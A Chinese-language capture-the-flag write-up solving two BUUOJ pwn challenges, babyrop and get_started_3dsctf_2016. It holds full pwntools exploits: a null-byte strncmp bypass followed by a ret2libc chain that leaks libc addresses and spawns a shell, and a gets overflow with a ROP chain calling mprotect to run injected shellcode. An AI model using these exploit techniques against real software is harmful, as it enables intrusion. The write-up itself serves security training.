[OGeek2019]babyrop
32位,开了栈堆执行保护
IDA查看下伪代码
没有system和/bin/sh/
读一个随机数给buf
strncmp函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值
就是读取一个随机数,然后与输入作比较。需要绕过,strlen遇到\x00
会停止,于是开头为\x00,最终比较的长度v1是0,从而绕过strncmp,避免执行exit(0)
大致的流程就是先生成一个随机数,然后将这个随机数放入buf,再把buf传到804871F
在804871F里,buf变成a1,把a1放入s,然后往804871F的buf里输入数据,这一步要注意,我们要做的是通过传入数据,把v5覆盖掉,因为返回值是v5,而v5和buf的关系在stack里是这样的
所以我们传入2c-25=7个以上的字节,同时为了绕开strlen在前面要加’\x00’,所以payload1 = ’\x00’+’\xff’*7
接着v5返回到主函数,变成v2,传到80487D0里,80487D0里变成a1, 因为我们传入的a1为\xff(255),所以执行else, 这时我们开始ret2libc
p = flat([‘a’*0xe7, ‘a’*4, puts_plt, main_addr, read_got])
接着重新回到主函数,再来一次,步骤大致相同,就只是最后改为执行system
参考博客
exp
Python编码声明# -- coding: utf-8 --
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',27895)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')
#泄露read的got地址
payload='a'*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)
read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*(0xe7+4)+p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
运行结果
flag{61cba5df-9047-4e28-abe7-093ca7a8f405}
get_started_3dsctf_2016
checksec一下
32位ida查看伪代码
主函数看到好大一个gets溢出?
参考原博客在这
这题的关键所在是程序里有一个mprotect函数,它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell
mprotect函数:
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
首先利用gets造成溢出,让程序跳转到mprotect函数地址,去执行
payload = 'A' * 0x38 + p32(mprotect_addr)
Ctrl+s
调出程序的段表,从地址080eb000开始修改为可读可写可执行
使用以下指令可以找到我们需要的ret指令,我们mprotect函数只要设置3个参数,这边就借用3个寄存器
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
#将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
payload += p32(mem_addr)
到这里已完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
shellcode可以利用pwntools直接生成:shellcode=asm(shellcraft.sh())
exp
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
ma=remote('node3.buuoj.cn', 28669)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
ma.sendline(payload)
payload = asm(shellcraft.sh())
ma.sendline(payload)
ma.interactive()
运行结果
$ cat flag
flag{72a4c30b-7857-430f-9ed3-e45cb4447c96}